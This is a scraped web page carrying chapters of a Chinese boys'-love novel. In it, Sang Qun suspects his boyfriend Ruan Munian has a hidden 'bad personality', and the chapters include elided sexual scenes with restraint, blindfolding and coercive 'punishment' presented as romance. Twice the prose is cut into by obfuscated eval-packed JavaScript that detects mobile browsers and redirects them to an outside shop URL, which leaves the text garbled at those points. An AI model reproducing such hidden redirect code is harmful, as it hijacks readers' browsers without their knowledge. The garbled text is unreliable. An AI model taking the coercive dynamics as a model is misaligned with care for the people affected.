“看小黄文学的,”阮牧年嘿嘿两声,“你喜欢的话,我以后多这样帮你。” 原来是默默学习进步的小黄糕。桑群摸着他的脑袋,被快乐冲昏了头脑,此时还未察觉到有什么不对劲。 到了后来,小黄糕摇身一变成了凶凶小狗,能把他牢牢按在床上**,怪异感又浮上桑群心头。 他再次发问,阮牧年却还是用那双无辜又澄澈的小狗眼看着他,乖乖坦承依然是从小黄文里学来的。 是他低估了学霸的学习能力,还是那小黄文有什么问题? 年年乖巧可爱固然好,偶尔有点色色心思也不赖,但如果啃咬无度不听管教,那就叫人头疼了。 (……) 那是为什么? 桑群左思右想,最不可思议的想法浮现脑海。 难不成……阮牧年被人夺舍了? 大脑飞速运转,逻辑理性思考,桑群越想越觉得有道理,被自己这个惊世骇俗的想法深深折服。 猜想有了,怎么证明? 没过多久,桑群就找到了第一个论据。 高三上学期,学业压力变大,成绩难免波动。 那天小测成绩分下来,阮牧年一眼就看到他错的题目,脸色一直不太好看。 桑群有些心虚,毕竟那道题他做过4遍,现在还是错了,确实不应该。再加上阮牧年自己也退步了,物理课代表居然跌出九十分数段考了个89,心情不佳情有可原。 他盘算着回家后怎么安慰对方,却没想到阮牧年拎了本练习册过来,要给他加练。 开什么玩笑,做完今天的作业他已经精疲力尽,回到家都十点了,再做题要什么时候睡觉? 桑群瘫着脸拒绝掉,却没料到阮牧年的态度十分强硬。 “题目明天也可以做,”桑群拖着他爬上床,“现在该休息了。” “你觉得加练太辛苦了吗?”阮牧年偏过头,昏暗光线下的眸色很深,语气好像比平时冷一些,“可是昨天小测,你做过4遍的题目又错了。不加练的话,换个方式惩罚你?” 什么,桑群差点以为自己听错了:“都这个点了……喂,阮牧年!” “有奖有惩,既然你犯了错,不应该接受加练吗?”阮牧年扣着手腕把他反压在床上,膝盖紧紧抵着后腰。 “可是现在很晚了……”桑群争辩。 阮牧年说:“所以我给你选择,换一个惩罚。” “你神经病吧?”桑群简直无语,什么选择,横竖都得受罚,他有的选吗? 阮牧年充耳不闻:“桑群,选。” 桑群破罐子破摔:“……换。那你想干什么?” 阮牧年说得好像今晚吃什么一样:“裤子脱了。” (……) 桑群缓了两口气,起身一拳砸过去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356377|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你到底在搞什么,”骨头真硬,砸得他手指疼,桑群愤恨地看向捂着肩膀的阮牧年,“没吃药跑我这乱发疯?” 阮牧年吸着气抬起头,桑群一怔。 朦胧的月光下,跌坐在床上的少年抬起眼皮,眼底隐隐闪光。 他、他哭了? 凭什么,挨打的人还没哭,打人的为什么看着比他还委屈? 桑群又气又郁闷,却无法放任这家伙的眼泪不管,最后只能无奈地把人抱过来:“干嘛掉眼泪,有话好好说。” “对、对不起桑桑,我是不是太坏了,”阮牧年的话语带着鼻音,刚被抱住就往他颈窝蹭,“对不起,我就是太害怕了……明明我提前带着你努力了这么久,为什么还是没起效呢?最近我们都退步了,我好害怕拉不动你,我不想跟你分开,但我又想不到什么好办法,就只能、只能这样子欺负你……” 啊。 如果说桑群有什么软肋,其中之一必定是阮牧年的眼泪。 听完对方的解释,小年糕的初心毕竟是好的,桑群更生不起气来,只好先哄人:“我知道了……别哭了,明天眼睛会肿的,嗯?” 阮牧年张齿轻轻咬在他肩膀上,热泪顺着肌肤流下去,整个人又温暖又软乎。 桑群摸拍着他的背,也对自己的妥协很无奈。 不管怎么说,阮牧年最后道歉了,也好好跟他把话说开,确实不应该过多计较。 ……对吗? 过了几天,桑群越想越不对劲。 仔细回想,虽然黑暗中看不见阮牧年的脸,但欺负他的阮牧年和后面流眼泪的阮牧年,眼神是不一样的。 阮牧年又不是什么奥斯卡影帝,一个人可能短时间内拥有两副面孔吗?不可能。 桑尔摩斯支着下巴思索,排除了所有不可能,剩下的不管多么难以置信,都是真相。 没错,一定是某个坏蛋附身年年欺负他,事后还要年年给自己擦屁股,都把年年弄哭了。 真是个可恶的犯人。 为了解救年年,阿君羊必须做点什么。 在学习空余,桑群苦思冥想,想到了个好方法。 100. 06(有删减) 桑群手机备忘录的私密空间里,存着这样一篇笔记。 【阮牧年观察日志】 【阮牧年喜欢用嘴帮忙,舌头很勾人,学习来源存疑】 【阮牧年会**,学习来源存疑】 【阮牧年力气很大,掐腰总是会留下痕迹,有时候抓人却不会,存疑】 【阮牧年经常脸红,也会一脸无辜地做出疯狂举动,脸皮厚度存疑】 【阮牧年有时会摆哥哥架子,喜欢用戒尺惩罚人,打起来很疼,动机存疑】 【阮牧年似乎有控制狂倾向,先存疑】 (上一条被划掉) 【阮牧年绝对有很强的控制欲,类似动物会在领地范围留下标识】 【阮牧年吃人不吐骨头,犬牙最高强度参考把手臂皮肉咬出血】 【阮牧年主动扑人准没好事】 【阮牧年在黑暗环境的举动比明亮环境疯狂】 【阮牧年很会叫,声音再哑也很好听,喜欢黏着尾音撒娇】 (备注:这一条好像没什么用) 【阮牧年为什么比我久?不科学,存疑】 【阮牧年在月圆之夜没有异样】 【阮牧年在特殊节假日或周末,变态与可爱的时段占比毫无规律】 【阮牧年发疯的时候还挺带感,啧】 (上一条被划掉) 【阮牧年的高考体检报告单一切正常,心理状况良好,确认为正常人类】 【阮牧年的脑子可能有医学仪器无法检测的疾病,正常人类不可能想出拿**打草稿这种破主意】 【阮牧年学疯了,他居然在接吻的时候问我唾液淀粉酶的密度是多少,化学式怎么写】 【阮牧年心理素质确实强大,能屈能伸,揍一顿后正常多了】 …… 日志零零散散地记录了很多条信息,有段时间毫无进展,又在某个时间点后骤增十几条。 【阮牧年的肚子是热的,好软】 【阮牧年的柔韧性很好,根本压不住枕头】 【阮牧年太可爱了,这样的家伙身体里怎么可能会有个坏蛋?】 【阮牧年的东西好难吃,差点吐出来,因为呕吐物更脏才忍住】 【阮牧年的眼神变了,很黑很沉,第一次直接性观察证据,高亮加粗】 …… (标题更正为:拯救年年大作战) 【据亲身体验,强烈怀疑阮牧年体内存在另一个体,其行为恶劣,暂称为“阮坏年”】 【行为观察记录: 【阮坏年力气极大,动作粗鲁】 【阮坏年惯会洗脑,需警惕鳄鱼眼泪和恶意撒娇】 【阮坏年恶趣味爆表,私建玩具库,瞒不上报,有严重破坏家庭和谐的嫌疑】 【阮坏年毫无礼貌、毫无廉耻,疑似受虐狂,同时也存在暴力倾向,虽然矛盾但不影响其极度恶劣的事实】 【阮坏年也是个笨蛋,但是比年年坏】 【阮坏年跟阮牧年一样是个神经病,私藏绳索、恶意捆绑、限制人身自由,疯子】 【阮坏年欲求不满,疑似霸总一夜七次入脑】 【阮坏年爱我……?】 (问号被加粗) 【作战计划: 【一,获取阮坏年与年年存在本质性差异的直接证据】 【二,还没想好】 【三,反正要把阮坏年赶跑】 一气呵成写完作战计划,桑群转了转脖子,余光瞥见玻璃上自己惨不忍睹的后颈。 为了他的生命安全和身体健康,作战刻不容缓。 桑群起身走进卧室,阮牧年窝在床边地毯上不知道在干嘛。 “你在……” 看清阮牧年手里的东西后,桑群闭上了嘴。 “桑桑,你来啦,”阮牧年小心地收起消毒纸巾,把手里的玩具举起来给他看,“这是小黑,来,打个招呼~” 桑群:“……” 桑群:“怎么,要塞我嘴里?” 阮牧年被他吓了一跳:“什么啊,你不要乱说。” “小黑,桑桑他不是故意的,”阮牧年哄孩子似的将玩具摆好,放进抽屉深处,“他第一次见你,肯定是被吓到了。” 桑群一阵无语,开始反省当初心软留下这个玩具库的决定是否正确,阮牧年忽然站起来,飞快把什么东西塞进他嘴里。 桑群:“唔???” 还真有塞嘴的玩具?桑群瞳孔骤缩,赶紧拿出来,低头看过去…… 一个婴儿奶嘴。 阮牧年嘻嘻笑道:“这才是塞嘴里的。” 桑群神色复杂:“……这也是玩具?” “是呀,”阮牧年歪着头问他,“好吃吗?” 桑群:“不好吃。” “噢,”阮牧年一脸失望,伸手过来,“那你还我,我再消毒一遍……呃?” 桑群扣住他的手,将阮牧年泛凉的指节抵在唇边,贴着低声:“不如这个。” 阮牧年的表情有些呆愣。 力度不够吗,桑群想了想,看着他含住那截手指,舌尖舔过指腹的细纹。 阮牧年更僵硬了,颧骨边泛起薄红。 怎么跟个呆瓜似的,桑群微眯起眼,把手指往里面送了送,舔到阮牧年指根。 这下够了吧?他已经到极限了,阮牧年的手指很修长,再咽下去就要戳破他喉咙了。 然而阮牧年红着脸站在他面前,整个人宕机似的冒烟。 阮坏年呢?桑群左看右看,不愿承认自己的勾引计划失败。 按照他总结的规律,上次阮坏年出现是在他帮年年口后,关键在于他做了平常自己不会做的事情。 那么只要出其不意,就可以把那个坏家伙钓出来。 如何出其不意呢?桑群也思考过这个问题,办法很简单,阮牧年会做的事情他一般不会做,所以只要学阮牧年的可爱举动,抄答案即可。 学也学了,做也做了,为什么这里只有一个害羞到爆炸的年年? 桑群忍了忍,还是没忍住,把他手指丢出去:“……呕。” 阮牧年还愣愣地看他:“怎、怎么了……?” “你用的什么消毒水,”桑群皱着眉,决定暂时放弃这个勾引计划,先去洗漱一下,“味道真恶心。” 阮牧年尾随他去了厕所:“好像是……芦荟味?” 桑群翻了个白眼:“呕。” 阮牧年担心地拍着他的背,在他漱口后问:“还好吗桑桑?” 桑群抹了把下巴上的水滴,偏头正要说点什么,脸边被人轻轻摸了一下。 阮牧年手还搭在他背上,眨动的双眼微微湿润:“我是甜的,尝我好不好?” 真是失败啊。 桑群看见他的表情就知道自己完蛋了,倾身吻过去,阮牧年靠在墙上,嘴唇很软。 难怪会失败,桑群一点点深入,听着阮牧年发出的细碎声音想,自己完全学不来年年万分之一的可爱,不如换个路线勾引。 换什么呢?桑群思考了好几天,还是没有头绪。 这天他在沙发上进行每日按摩,阮牧年在沙发背后来回踱步,最后长叹一声趴过来,一副很忧虑的样子。 “怎么了?”桑群闭着眼问。 “明天我要去参加一个聚会,”阮牧年伸手指戳他脸,“桑桑你去吗?” “不去。”桑群想也没想。 “好吧。确实,一班的人你应该也不认识,”阮牧年又叹了口气,“其实我也不是很想去,但实在推脱不掉。唉,好烦恼。” 桑群睁开一只眼:“好好玩。” “我明天中午吃完饭出门,要从商场到饭店到桌游店转站三个地点,”阮牧年一一跟他报备,“大概晚上八点九点就结束了,你来接我好不好?” “行,”桑群点头,“好了给我打电话。” 阮牧年在他脸上亲了一口,未雨绸缪撒娇:“我会想你的,桑桑。” “你这不是还没走吗,”虽然年糕烦人,但桑群还是十分受用这些小动作,“去做饭,我饿了。” 阮牧年嘟囔:“你多吃我就不会饿了。” 桑群推开他的脸:“赶紧去。” 临走前表现得恋恋不舍,但想来还是玩得蛮开心的,桑群拖完地看了眼时间,快九点了,阮牧年还没来电话。 他点开聊天页面的定位,决定先过去等人。 聚会玩桌游,难怪阮牧年不乐意去。桑群到达店门口时,里面的公共游玩区域还很热闹,他在店外寻了个安静干净的地方靠着。 玻璃窗内的墙面灯光明明灭灭,桑群抱着胳膊,还在琢磨作战计划。 有些出神,以至于被人拍肩膀的时候,他差点跳起来。 “嗨,好巧,”一张陌生的面孔出现在身侧,跟他打了个招呼,“你也在等人?” 桑群沉默了两秒:“……你是谁。” “这话也太让人寒心了,”青年抬了抬眉,摊手摇头,“我们在二中校门口见过一面,不记得了?” 桑群瘫着脸看他。 “真不记得了?”青年这才有些惊讶,“那程抒晴的哥哥,这你总记得了吧?” 桑群半晌才哦了一声。 其实也不记得。但程抒晴他认识,也隐约记得对方有个哥哥,只是对他们见过面这件事有些模糊。 “唉,真不公平,”青年叹了口气,“我可是记得你呢,桑群,对吧?” 桑群:“嗯。” 青年:“你不问我为什么跟你打招呼吗?” 桑群:“……为什么。” 青年:“因为我也在等人啊。” 桑群:“哦。” 青年:“你不问我等谁吗?” 桑群:“谁。” 青年:“程抒晴啊。” 桑群:“哦。” 青年:“……你一直是这样吗?” 桑群:“什么。” 青年抓了抓头发:“呃,好吧。反正还要等上一阵,随便聊聊呗。你不好奇我怎么认识你的吗?” 桑群不太理解这种自来熟,但也没处可躲,只好随便应付几句:“怎么认识的。” “论坛上看见的,”青年笑了笑,“怎么样,是不是很意外?你可是个大名人啊,当年我还在二中读书的时候,可没出过这种风头。” 桑群听得莫名其妙:“我怎么了。” “长得帅,人品还行,除了不爱说话没什么缺点,”青年随意地靠在另一侧石墙上,“妥妥的校园男神标配嘛,当然很受追捧了。说到这,你还得感谢我。” 桑群实在不想跟他说话:“……你怎么了。” “要不是我拦着阿晴,”青年摆手笑了笑,“你跟你那小白脸男友还没这么顺利成呢。” 桑群脸色冷下来:“你骂谁呢。” “诶诶,不好意思顺嘴了,”青年连忙找补,“我是看他皮肤白,取个外号叫得顺口嘛,没有贬义没有贬义!” 桑群移开眼,不想再理他:“我们的事与你无关。” “话不能这么说,你消消气,”这人非但没因他冷漠的态度识趣远离,反而将手腕搭到他肩上,语气亲切,“我是想着咱们也算有缘,聊两句交个朋友不过分吧?毕竟我也在撮合你们俩这件事上出了些力……” “哪儿来的撮合,”桑群反驳,“难道不是程抒晴自己表白失败了吗?” 青年顿了顿:“你知道这件事?” 桑群不悦地眯起眼,盯着对方没规矩的手:“她亲口说的。” “她亲自……跟你说?”青年神情变了变,先前随性潇洒的笑意慢慢消退,“哈,真令人意外。哥们,我摊牌说吧,其实我是偷偷过来的,听说她今晚要跟阮牧年参加同一个聚会,他俩当年闹那么大,你心里也不太舒服吧?坦白讲,我希望他们以后最好没什么交集,对我们也好,是不是?虽然我说话不太好听,但希望你能管好你家小男友……” “他乖得很,用不着你操心。”桑群冷硬打断。 “这样最好,哈哈。”青年眼里并无笑意。 桑群抬眼:“手拿开。” “噢噢,不好意思,”青年微怔,手抬起后还帮他拍了拍肩膀,“哎我习惯这样跟人搭话了,你别介意,我没别的意思。” 桑群正想说几句赶人,侧边传来熟悉的唤声。 “桑……群?” 他回头,阮牧年就站在路灯底下,眼神晦涩不明。 “你出来了?怎么没发消息,”等的人见到了,桑群自然没心思再搭理莫名其妙的陌生人,赶紧走过来,“衣服怎么换了?” “弄脏了,跟同学借了件新的穿,”不知为何,阮牧年的声音有些低,他也没问桑群为什么提前过来,而是越过桑群将目光投向墙边的第三者,“那是谁?” 桑群脱口而出:“不认识。” “喂喂,好歹我也自我介绍过吧,”青年无奈地摇了摇头,抬步过来,“都不是第一次见面了,再说一遍,我是程抒晴的哥哥,沈昳。脸记不住,记住名字总行了吧?” 阮牧年看了他一眼,没多大兴趣:“哦。” “我们走吧,”他拉过桑群的手,将沈什么扔在路边,“车停哪里?” 桑群也想摆脱那个狗皮膏药,欣然随阮牧年走远:“路口边的停车位里,跟我走。” 沈昳:“……” 抛下吵闹的陌生人后,两人之间的氛围有些沉默。桑群偏目看过去,阮牧年微微低着头走路。 “心情不好?”桑群问。 “没,”阮牧年安静了一会儿,又开口,“他们没跟我说程抒晴会来。” 原来并不是自己被蒙在鼓里,心中烦闷消散大半,桑群伸手拍了拍他的背:“别理他们。” “嗯,”阮牧年今晚话少得古怪,桑群盯着他默默琢磨起来,又听见对方问,“你为什么跟她哥牵扯上了?” “我在等你,他自己要跑过来跟我聊天,”桑群连忙澄清,“根本听不懂他在说什么,我本来都打算进去等你了。” “噢,那你辛苦了,外面风凉不凉?”阮牧年摸了摸他的胳膊,“待会儿我来开吧,今天没喝酒,你休息一会儿。” “行。” 桑群点头,只是心里有些奇怪。 阮牧年的话没什么毛病,小年糕也有体贴的时候,但他还是觉得哪里怪怪的。 这种感觉在回家后阮牧年第一时间钻进浴室时变得愈发强烈。 阮牧年,一没喝酒,二骑车没剧烈运动,三没被他催半个字,居然主动去洗澡? 难道是阮坏年……不对,阮坏年也不爱卫生,说不通。 是心情不好?但也不对,毕竟路上阮牧年还能跟他说笑两句。 桑群盯着卫生间的门,等它打开后想上前问点什么,却被阮牧年披着毛巾擦头发躲开。 “轮你洗了。”阮牧年边说边走向玄关。 “你要去干嘛?”桑群扭头问。 “我有个快递到了,”阮牧年头还没擦干,就打开了大门,“我去拿一下,很快回来。” 洗完澡还敢出门,好像又变回了邋遢鬼。桑群百般疑惑,怀疑先前的异样只是自己的错觉,只好先去洗澡。 等他出来,玄关门关得好好的,客厅空无一人,卧室也没开灯。 阮牧年又跑哪儿去了? 桑群披着阮牧年同款毛巾,边揉边走进卧室,还没摸到电灯开关,先摸到一块软绵绵的东西。 墙上长青苔了?桑群伸出指甲抠了抠,没抠动,反而被人捉住手腕。 “年年?”桑群惊讶,“你站墙边干什么?” “你在干什么,”黑暗里响起一道清脆的啪嗒声,阮牧年的声音不如平时清亮,“都抠疼我了。” “我那是……”话音未落,桑群便感到手腕上传来压感,“你往我手上戴了什么?” 阮牧年没有说话,卧室大门在他们身后合上,桑群被他推了一把,靠在门板上被擒住下唇。 头还没擦干,在这里发什么癫。桑群甩掉阮牧年抓他的手,想把人推开,却发现自己的手动不了。 “唔……喂,我手上到底是什么?” 阮牧年被他咬了舌头,暂且退开一些,鼻尖还蹭着他的脸,吐息在唇边来回逡巡:“一个小道具。你别乱动,不会弄伤你的。” “阮牧年,”自从上次警告过这家伙,桑群还以为他不敢再犯,没想到是打算先斩后奏,“拿掉。我要去吹头发。” “没两秒就干了,浪费这个时间干嘛,”阮牧年摘掉他头顶的毛巾,顺着发鬓吻到他耳后,再一点点往下,“我才不。” 桑群狠狠踩了他一脚:“你又在发什么疯……嘶!” 几乎是他踩中阮牧年的同一瞬间,阮牧年一口咬在他肩膀上,用了真力气,很疼。 “我亲你就是发疯吗?”阮牧年声调压得很低,语速不断加快,“我不能抓你的手,不能抱你,不能跟你亲密吗?我为什么不可以这样?那你呢桑群,你为什么跟不认识的人聊得那么火热,让他搭你的肩膀,还容许他靠你那么近?!是我无理取闹,还是你有错在先?” “什么?”桑群冤极了,“我真的第一天认识他,他自己要凑过来,我都没说几个字,哪里火热了?你擅自揣测不就是无理取闹吗?” “他凑近你为什么不躲开?”阮牧年犀利反问。 “我……” 还能为什么,当然是因为他不想搭理人,所以一直在走神想阮坏年的事,这才被人趁机搭了肩……但走神的内容怎么能告诉阮牧年。 至于为什么没有第一时间推开那人,当然是因为推人会增大接触面积,他宁愿多忍一会儿,等对方自己退开。 真实理由怕被追问,撒谎又不擅长,桑群好半天挤出一句:“我懒得躲。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356378|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哦,”阮牧年点点头,“你懒得躲别人,却有功夫躲我,推我咬我踩我就是不乐意我靠近你,对吗?” 对什么对,桑群差点被他绕进去:“阮牧年,别偷换概念。我推你是因为你先偷袭我,还往我身上戴莫名其妙的东西,问话不答,叫停不应,这不是故意气人吗?” “你嫌我讨人厌了。”阮牧年再次找错重点。 “你真是……”桑群快被他气死了,“如果你只是在吃醋,点到为止吧,闹脾气不是这样闹的。” “你为什么总是把我当小孩,”阮牧年掐他腰的指节扣紧,语气不虞,“我问你要一个解释,你觉得我只是在玩闹吗?桑群,别忘了谁才是哥哥。” “我没有随地发疯的哥哥。”桑群顶撞回去。 阮牧年哼笑一声:“好啊,那你今晚有了。” 吵不过就换种方式唇舌大战吗?桑群被他亲得快窒息了,舌尖发麻,好不容易夺得一口喘息:“喂,把灯打开。” 如此粗鲁,必定是阮坏年跑出来了。桑群怒火正烧,他倒要好好瞧瞧这个坏家伙,居然敢用年年的身体这样对他。 “开灯么……哈,”阮牧年笑得很冷,“我早就想这么做了。” 周遭亮起,桑群咬着牙抬眼,撞进一片幽邃深远的漆黑中。 陌生的眼神,其中的压迫感令人深感不适,桑群终于亲眼见到了阮坏年的真面目,正要进行说教,忽然眼前一黑。 他眨了眨眼,不是自己的问题,后脑传来拉扯感,他瞬间反应过来,阮牧年居然蒙他眼睛? 手不能动,眼不能看,跟被五花大绑没什么两样。桑群被扯着后领丢到床边的地毯上,还没起身就被紧紧压住后腰。 (……) 桑群紧紧咬着牙,骂一句邋遢鬼都奢侈。 比身体反应更叫他难受的,是心里隐隐的隔阂感。他曾经以为他们彼此相知,即便没有言语也能默契十足,可阮牧年的沉默比疼痛更先刺破他的心壁。 而他看不见那双漆黑的眼眸,看不见对方隐藏在眼罩外的颤抖和微表情,阮牧年执拗地用粗鲁的动作宣泄不安,却吝于向他剖开心扉。 桑群想了半天,也想不通是哪里出了问题。 (……) 可阮牧年既不是间歇性发疯,也不是恼羞成怒。他将额头抵在桑群的肩胛骨下,有什么温热的东西砸落脊背,带着鼻音的低吟顺着骨骼传入桑群耳内。 “对不起桑群……你是不是讨厌我了,对不起……” (……) “你别不理我……你说说话啊桑群,对不起、对不起……” (……) 此情此景,桑群也被他的情绪感染,心底泛上止不住的委屈。 这次比起心疼对方,桑群更心疼自己,也受够了阮牧年的鳄鱼眼泪。动不动就哭,以为这招能用一辈子吗?谁还没个泪腺,他也要哭,大家一起哭吧,谁也没比谁好到哪里去。 没人有心思宠你了阮牧年,桑群愤恨地想,比比谁哭的更惨吧。 泪水就这般自然地流出眼眶,浸湿眼罩布料,更多的则滑过酸涩的鼻翼,落入喘得发干的唇瓣内,好苦。 桑群偏头将唇边的泪水抿掉,眼角倏地一松,眼皮不自觉闭紧。 他皱起眉,突如其来的光亮令他睁不开眼睛。 阮牧年攀在他肩头摘掉了眼罩,明明离得很近,他的声音却有些飘茫空远,带着犹疑:“桑群,你怎么……” 咬了那么久的牙关第一次松开,牙龈僵硬发麻,桑群隔着眼皮瞪他,心里想了万般咒骂与狠话,真正吐露出来的言语却被泪水浸染成其他字句。 “……我、好疼。” 哑到近乎黏连在一起的嗓音听起来悲惨至极,桑群心里愈发悲凉,无声的泪水仍在下淌。 阮牧年没了声音。几秒后,桑群感觉自己的脸被人托起,眼缝传来轻柔的触感,不是嘴唇,大概是刚摘掉的眼罩。 睫毛上堆积的湿热被擦拭掉,却不知为何,这般举动令他鼻尖更加酸涩。 (……) 脸侧投下一片阴影,桑群动了动眼皮,得以睁开双眼。 被泪水打乱的世界里,他看见了阮牧年挡在旁边的手掌,和那张同样流着泪的漂亮脸蛋。 不该摘下眼罩的,他想,阮牧年的脸和神情有诱惑人心疼的魔力。 眼皮一眨,又一滴泪落下去,阮牧年的面容清晰后再模糊,朦胧后再透彻,唯有那道湿漉漉的目光始终黏在他身上。 桑群吸了吸鼻子,几乎就要动摇。 (……) 他顿感无力,事已至此,再多争吵与怒喊都无济于事。两个泪人拥着相互凝望,但谁也不知道对方为什么哭,不知道事情怎么会变成这样。 桑群闭了闭眼,哑着声问他:“为什么这样?” 他当然不相信阮牧年是因为吃醋,小年糕没那么小的气量……当然,也称不上宽容大度。 阮牧年抽泣:“我、我害怕……怕你没那么喜欢我……” 桑群深吸一口气,却喉间生痒,偏头咳了两声,才回他:“我不接受。” 他做了那么多事,说了那么多话,他不信阮牧年不知道自己有多喜欢对方。 谎言瞬间被戳穿,阮牧年瘪了瘪嘴,再也忍不住哭腔:“呜……是我、是我自己啊……” 桑群没听懂,抬手按在他脸上:“什么?” “我害怕的呜,是我自己,”阮牧年不愧是爱哭鬼,哭起来的眼泪决堤一般,他根本比不过,“我怕我不够喜欢你呜呜……” 桑群叹了口气,给自己和对方都擦了擦眼泪,手心手背全湿了:“为什么?” “我为什么会喜欢你?我是真的喜欢你吗?我会不会只是错把我们的感情理解成了喜欢,或者只是出于色心起意?”阮牧年的眼泪怎么也擦不干净,“世界上哪有那么多同性恋,又有几个人能走到最后?我又没谈过恋爱,以后会遇见更多人,比你好的多了去了,我怎么可能只喜欢你一个人,也许未来某天……呜……” 真是渣男发言啊,桑群捏了他一把:“谁说的?” 阮牧年咬着唇,不再出声。 “哈。你难过的根本不是程抒晴来了聚会,是别人吧?”桑群眯了眯眼,按开他乱咬的牙齿,又问了一遍,“告诉我,谁说的。” 阮牧年侧过脸,不敢看他:“……说了你也不认识。” 桑群把他的脸掰回来:“你觉得他说的有道理?” “……我不知道,”阮牧年红着眼睛,“但我会害怕。” 桑群盯着他,很想给他一巴掌,这种胆小鬼居然是自己追到手的,当初就不应该纠结眼科还是内科,全都检查一遍算了。 但事到如今,连他也不得不承认,所谓阮牧年跟阮坏年从来都是一个人。他之所以觉得阮牧年像变了性子,只是因为毕业之前,他们的恋爱并不完全,亲吻和抚摸,用他们过去的关系模式也能进行下去,他也习惯了那种模式下的阮牧年。 可他们不可能永远被学生的枷锁束缚住,总会走到这一步。等有了肌肤之亲,阮牧年所隐藏的那些劣根性便无可避免地暴露出来,他以为那是另一个人格,其实只是阮牧年刻意隐瞒的阴暗面。 阮牧年的偏执与掌控欲,他才领教到万分之一。恰如此刻,哪怕泪流不止,对方也从未松开掐他腰侧的双手,目光更是紧追不放。 他就说爱情观扭曲的阮牧年怎么勾勾手指就跟他走了,敢情难题在这里等着他呢。 (……) 桑群喘着气缓了好一会儿,才动了动胳膊,想叫阮牧年起来,却感觉有什么东西砸到胸口上。 温温的,痒痒的,会流动。 “你……” 桑群诧异地低头看去,泪水正从阮牧年直挺的鼻尖滴落。 怎么*了也哭,年糕体内的水含量百分之三十是**,百分之七十是眼泪吧? 桑群伸手摸他的脸,软软湿湿的:“哭什么。” 阮牧年一抽一泣:“不、不好意思,我太呜,太兴奋了呜呜……” 桑群叹了口气,拍他:“起来,我要去浴室。” 阮牧年吸了吸鼻子:“我抱你去。” 桑群警告他:“今晚没有第二次。” “我知道的,”阮牧年点头,眼泪全抹在他肩膀上,“让我抱你去吧,我不想跟你分开。” 事后怎么还更黏乎了? 不过身上也很黏乎,桑群安然偷一次懒,享受年师傅的售后服务。 经此一役,拯救年年大作战算是正式报废。两天后,桑群揉着依然红肿的手腕,思索是不是应该制定一个新计划……阮牧年改造计划? 然而出差时间迫近,他的新计划还没起草,就不得不先把精力放到工作上。 没想到的是,这趟外出还有意外之喜。 他那毫无章程的计划得到了某位神秘高人的指点。 101. 07(有删减) 晚宴那次意外之后,其实发生了很多事。 桑群的药刚吃完,阮牧年就在等一个机会。 直到某个阳光明媚的清晨,精力充沛的时段,他终于把桑群勾引到餐桌边。 这是放暑假后新买的小圆桌,摆在客厅角落,购买理由是弯腰在茶几上吃饭太伤脊椎。 桑群刚刷完牙,嘴唇又软又凉,被他双腿夹腰动弹不得,只好劝他:“去床上。” 阮牧年抱着他的脖子,坐在桌子上:“我就要在这里。” “桌上很凉。” “现在是夏天。” “会弄脏的。” “反正垫着桌布,清理一下不就好了。” 桑群拗不过他,只能妥协:“好吧,但我得去卧室拿东西。” “嘿嘿,”阮牧年从睡衣口袋把东西掏出来放他手里,把人拉下来,“早就拿好啦,快亲我快亲我。” “啧,”桑群眼神暗了暗,抬起他的下巴,“坐好了。” (……) 阮牧年半靠在桌上的时候,桑群伸手摸了摸他的肚子,还揉了一把。 阮牧年刚想说点甜心话,就听桑群若有所思道:“好软,你是不是长胖了点?” “什么?”阮牧年脸色一僵。 桑群浑然不觉,还凑过来亲他:“好像有点小赘肉,很可爱。” 可爱?阮牧年如遭雷劈,感觉自己被“长胖”一词深深地侮辱了。 真的胖了吗?事后,阮牧年躲进卫生间,偷偷检查身体。 然后他悲伤地发现,他的腹肌不如体育会考前明显,比早上桑群的手感软,甚至他的腰围粗了整整3厘米! 完了完了完了,他抱着脑袋蹲在卫生间地上,为自己这段时间的放纵感到懊悔。 “你拉肚子了?”桑群在外面敲门,“怎么进去这么久。” 阮牧年撇着嘴,拉开门一脸悲壮地宣布:“我要减肥。” 桑群:“啊?” “从现在开始,我要找个工地搬砖。”阮牧年说着就要去找人脉。 “搞什么,”桑群连忙把他拉回来,“你也不胖啊,干嘛找苦吃。” “我胖了!”阮牧年给他看手里的米尺。 桑群看着那几乎可以忽略不计的米数,默然片刻后道:“你想减肥,我有个更好的办法。” 阮牧年眼前一亮:“什么什么?” 第二天。 阮牧年人连同书包一块被桑群拎到健身馆门口,挂着暂停营业的牌子在风中晃荡,距离正式开放还有10分钟。 “不是……” “我已经跟教练说过了,你直接从后门进去,中午吃营养餐还是附近的饭店都可以,”桑群将装满的水壶递给他,摸了摸他的头,“乖,我晚上来接你回家。” “我可以理解健身锻炼,但为什么时间是从早上开店到傍晚六点啊?”阮牧年欲哭无泪,“你不如让我找个班上呢,还有钱赚。” “我也没花钱,健身卡是我妈的,她跟这里老板是朋友,”桑群拍拍他的书包,“这几天工厂招了新人,我得过去盯着点。怕你在家无聊,才让你过来打发时间。” 阮牧年鼓起腮帮:“那你下班后要早点来接我。” “嗯,会的,”桑群偏头贴了贴他的鼻尖,“减肥加油。” 阮牧年瞪他:“我会练得比你还强壮,到时候直接把你干趴下。” 桑群笑了笑:“好,我等着。” 男朋友穿着他的衬衫走了,头也没回。 阮牧年恨恨地磨着牙,化悲愤为力量,誓要在一周内练成泰森身材,夺回他的荣耀。 ……这当然不可能。不过或许是他频频张望门口的举动引起了教练的注意,后者乐呵呵地搭话:“小伙子看什么呢?” 